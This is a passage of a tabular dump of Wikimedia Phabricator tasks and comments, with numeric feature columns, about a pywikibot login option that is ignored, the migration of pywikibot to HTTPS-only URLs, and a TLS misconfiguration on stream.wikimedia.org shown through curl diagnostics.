[[https://gerrit.wikimedia.org/r/#/c/181582/|Gerrit 181582]] is a patch which would build the basis for the script to pass the password along.",Needs Triage,90.0,1434378211,1615025776.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-2srd5rokkiawnha7aakf,task_description,duplicate,True,c3,2,True,False,False,-3,True,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,6.0,6.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,3.765957446808511,0.7446808510638298,"The CODE parameter (in both variants) is ignored and the buffered password in the login script is never used again.

[[URL 181582]] is a patch which would build the basis for the script to pass the password along."
714473,login script -pass parameter ignored,"Is this still open or did the patch fix it?

If still open could it be merged with T108848?",,,1471632304,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,59,True,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,14.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.8181818181818182,"Is this still open or did the patch fix it?

If still open could it be merged with T108848?"
547898,login script -pass parameter ignored,"Change 247039 merged by jenkins-bot:
[IMPROV] login: Inform about unsupported -pass

[[https://gerrit.wikimedia.org/r/247039]]",,,1445115546,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.75,0.7916666666666666,"Change 247039 merged by jenkins-bot:
[IMPROV] login: Inform about unsupported -pass

[[GERRIT_URL]]"
547827,login script -pass parameter ignored,"Change 247039 had a related patch set uploaded (by XZise):
[IMPROV] login: Inform about unsupported -pass

[[https://gerrit.wikimedia.org/r/247039]]
",,,1445082854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2srd5rokkiawnha7aakf,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.7241379310344827,0.8275862068965517,"Change 247039 had a related patch set uploaded (by XZise):
[IMPROV] login: Inform about unsupported -pass

[[GERRIT_URL]]
"
102315,pywikibot support for https-only,"Wikimedia sites are apparently going https only, which means that any code using http:// may break.
The [[https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/| announcement ]] is very light on details.

https://meta.wikimedia.org/wiki/HTTPS#2015

Both core and compat support using https, however they both have instances where a URL is created manually (not via Family methods), and that URL has a http:// protocol/schema.

I suspect that the servers will still forward http:// URLs to https:// , but that needs to be confirmed.
In any case, we should fix any instances where the code is using the Family methods to create a URL.

Here is one regex to see some examples of the problem
```
git grep '^[^#@]*http:\/\/.*wiki.*\.org'
```",Needs Triage,90.0,1434160068,1509729383.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-aswxykknolbbycawydkz,False,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_description,resolved,True,c3,2,True,False,False,-3,True,3.0,0.0,0.5,1.5,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.5,0.0,6.0,7.0,0.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,1.0,6.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,15.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,5.5,4.0,9.5,2.5,2.0,11.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,2.0,7.0,5.5,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.5,0.0,0.0,1.0,3.810719131614654,0.7518091361374943,"Wikimedia sites are apparently going https only, which means that any code using http:// may break.
The [[URL announcement ]] is very light on details.

URL

Both core and compat support using https, however they both have instances where a URL is created manually (not via Family methods), and that URL has a http:// protocol/schema.

I suspect that the servers will still forward http:// URLs to https:// , but that needs to be confirmed.
In any case, we should fix any instances where the code is using the Family methods to create a URL.

Here is one regex to see some examples of the problem
``CODE``"
968038,pywikibot support for https-only,"Change 390872 merged by jenkins-bot:
[pywikibot/core@master] Use http scheme for Wikidata entity URIs

[[https://gerrit.wikimedia.org/r/390872]]
",,,1511249653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,124,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.8214285714285716,0.8214285714285714,"Change 390872 merged by jenkins-bot:
[pywikibot/core@master] Use http scheme for Wikidata entity URIs

[[GERRIT_URL]]
"
962993,pywikibot support for https-only,"Change 390872 had a related patch set uploaded (by Dalba; owner: Dalba):
[pywikibot/core@master] Use http scheme for Wikidata entity URIs

[[https://gerrit.wikimedia.org/r/390872]]
",,,1510488328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,123,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.7777777777777777,0.8333333333333334,"Change 390872 had a related patch set uploaded (by Dalba; owner: Dalba):
[pywikibot/core@master] Use http scheme for Wikidata entity URIs

[[GERRIT_URL]]
"
962989,pywikibot support for https-only,"I'm not sure those last wikidata links should have been changed, per T153563. See note in https://gerrit.wikimedia.org/r/390872",,,1510485859,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,123,True,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"I'm not sure those last wikidata links should have been changed, per T153563. See note in GERRIT_URL"
958774,pywikibot support for https-only,All http links in code have been changed in https.  Those that remain are in the comments.,,,1509729383,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,122,True,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.85,All http links in code have been changed in https.  Those that remain are in the comments.
958769,pywikibot support for https-only,"Change 388428 merged by jenkins-bot:
[pywikibot/core@master] Change last http links to https

[[https://gerrit.wikimedia.org/r/388428]]
",,,1509729045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,122,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.6666666666666665,0.7777777777777778,"Change 388428 merged by jenkins-bot:
[pywikibot/core@master] Change last http links to https

[[GERRIT_URL]]
"
958493,pywikibot support for https-only,"Change 388428 had a related patch set uploaded (by Framawiki; owner: Framawiki):
[pywikibot/core@master] Change last links from http to https

[[https://gerrit.wikimedia.org/r/388428]]
",,,1509709519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,False,,,122,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.888888888888889,0.8055555555555556,"Change 388428 had a related patch set uploaded (by Framawiki; owner: Framawiki):
[pywikibot/core@master] Change last links from http to https

[[GERRIT_URL]]
"
763767,pywikibot support for https-only,"Compat decommission
",,,1479527300,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.0,"Compat decommission
"
646073,pywikibot support for https-only,"As I understand it, this ticket is a request for updates to the pywikibot code.  I'm going to remove the Operations tag; please re-add with a clear request if you need something from Ops.",,,1460662841,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,41,True,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,10.0,19.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.8571428571428571,"As I understand it, this ticket is a request for updates to the pywikibot code.  I'm going to remove the Operations tag; please re-add with a clear request if you need something from Ops."
573043,pywikibot support for https-only,Well if you look in my comment (T102315#1371485) you'll see that for most purposes we are not doing HTTP requests but HTTPS requests.,,,1449245348,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,15.0,15.0,7.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.111111111111111,0.9259259259259259,Well if you look in my comment (T102315#1371485) you'll see that for most purposes we are not doing HTTP requests but HTTPS requests.
572988,pywikibot support for https-only,"Is pywikibot still using http:// URLs for WMF sites?  The real problem we've run into with bot code in general is that a lot of bots do direct POST requests to their configured http URLs (as opposed to perhaps a GET to the configured URL, then seeing a 301 to https, then using https from there out for further POST requests).  POST traffic cannot effectively be redirected and will eventually just get broken if it's not https...",,,1449239260,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,1.0,2.0,6.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,17.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9775280898876404,0.797752808988764,"Is pywikibot still using http:// URLs for WMF sites?  The real problem we've run into with bot code in general is that a lot of bots do direct POST requests to their configured http URLs (as opposed to perhaps a GET to the configured URL, then seeing a 301 to https, then using https from there out for further POST requests).  POST traffic cannot effectively be redirected and will eventually just get broken if it's not https..."
476135,pywikibot support for https-only,"Regarding hard coded http values for Wikidata, in code and in tests, see T102741.",,,1434523798,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.8823529411764706,"Regarding hard coded http values for Wikidata, in code and in tests, see T102741."
475862,pywikibot support for https-only,"Okay looking through the #pywikibot-core repository (excluding the tests):

* There are three instances where links are used as documentation so they won't cause the bot to fail (patrol script, `pywikibot.interwiki_graph`, `pywikibot.family`)
* One instance is in the example result when using rcstream so at most the test might fail (need to look into that more closely)
* One mismatch in `pywikibot.page.FilePage` (for wikitravel which is afaik nicht managed by WMF and even though fixing T74847 should help reduce the necessity for that)
* The only large problem would be the Wikidata family which uses a bunch of hardcoded links. To be honest looking at that I think there must be a more dynamic implementation or not such a verbose one (e.g. instead of the full URL maybe just the name of the Wikidata entry).

The tests are not as easy to answer because a request via HTTP might be intentional and most matches are from the Q60.wd file for the tests so we might want to download a newer version of it or something.",,,1434484820,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.5,0.0,0.5,1.5,5.5,3.5,0.5,0.5,0.0,3.0,0.5,0.0,0.5,1.0,1.0,0.0,7.5,13.5,0.5,2.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,0.0,4.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,15.5,0.5,1.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,1.5,0.0,9.5,5.0,9.0,3.5,2.0,12.0,0.0,0.0,0.0,0.5,6.5,0.5,1.5,0.0,2.0,13.5,4.5,0.0,0.0,0.0,2.0,0.0,2.0,2.5,0.0,2.5,1.5,1.0,0.0,3.98469696969697,0.7487373737373737,"Okay looking through the #pywikibot-core repository (excluding the tests):

* There are three instances where links are used as documentation so they won't cause the bot to fail (patrol script, CODE, CODE)
* One instance is in the example result when using rcstream so at most the test might fail (need to look into that more closely)
* One mismatch in CODE (for wikitravel which is afaik nicht managed by WMF and even though fixing T74847 should help reduce the necessity for that)
* The only large problem would be the Wikidata family which uses a bunch of hardcoded links. To be honest looking at that I think there must be a more dynamic implementation or not such a verbose one (e.g. instead of the full URL maybe just the name of the Wikidata entry).

The tests are not as easy to answer because a request via HTTP might be intentional and most matches are from the Q60.wd file for the tests so we might want to download a newer version of it or something."
475844,pywikibot support for https-only,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect and go directly HTTPS when possible, though.

(also, not in the regex at the top, we have one primary production domain that doesn't match: `wiktionary.org`)",,,1434483380,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,9.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,1.0,4.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,3.537313432835821,0.8507462686567164,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect and go directly HTTPS when possible, though.

(also, not in the regex at the top, we have one primary production domain that doesn't match: CODE)"
475843,pywikibot support for https-only,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect an go directly HTTPS when possible, though.

(also, not in the regex at the top, we have one primary production domain that doesn't match: `wiktionary.org`)",,,1434483359,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,9.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,4.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,3.0,1.0,0.0,0.0,3.5223880597014925,0.8507462686567164,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect an go directly HTTPS when possible, though.

(also, not in the regex at the top, we have one primary production domain that doesn't match: CODE)"
474052,pywikibot support for https-only,It is good to be careful but I am sure the WMF will keep the servers listening on HTTP and serve 301 redirects to HTTPS.,,,1434161263,,PHID-USER-gumeqoqwaswa2bctwrzp,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,19.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,8.0,12.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,It is good to be careful but I am sure the WMF will keep the servers listening on HTTP and serve 301 redirects to HTTPS.
102313,stream.wikimedia.org speaks http (not https) on port 443,"```
$ curl -v https://stream.wikimedia.org/rcstream_status
*   Trying 2620:0:861:ed1a::3:15...
* connect to 2620:0:861:ed1a::3:15 port 443 failed: Network is unreachable
*   Trying 208.80.154.249...
* Connected to stream.wikimedia.org (208.80.154.249) port 443 (#0)
* found 180 certificates in /etc/ssl/certs/ca-certificates.crt
* found 724 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* gnutls_handshake() failed: An unexpected TLS packet was received.
* Closing connection 0
curl: (35) gnutls_handshake() failed: An unexpected TLS packet was received.
$ curl -v http://stream.wikimedia.org:443/rcstream_status
*   Trying 2620:0:861:ed1a::3:15...
* connect to 2620:0:861:ed1a::3:15 port 443 failed: Network is unreachable
*   Trying 208.80.154.249...
* Connected to stream.wikimedia.org (208.80.154.249) port 443 (#0)
> GET /rcstream_status HTTP/1.1
> Host: stream.wikimedia.org:443
> User-Agent: curl/7.42.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Sat, 13 Jun 2015 01:02:16 GMT
< Content-Type: application/json
< Content-Length: 41
< Connection: keep-alive
< 
* Connection #0 to host stream.wikimedia.org left intact
{""connected_clients"": 1, ""queue_size"": 0}
```",Needs Triage,90.0,1434157367,1435099455.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-esfuftpfqk6ncyxxwpka,task_description,resolved,True,c3,2,True,False,True,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.4,``CODE``
480398,stream.wikimedia.org speaks http (not https) on port 443,"Change 220222 merged by Faidon Liambotis:
rcstream: fix TLS configuration

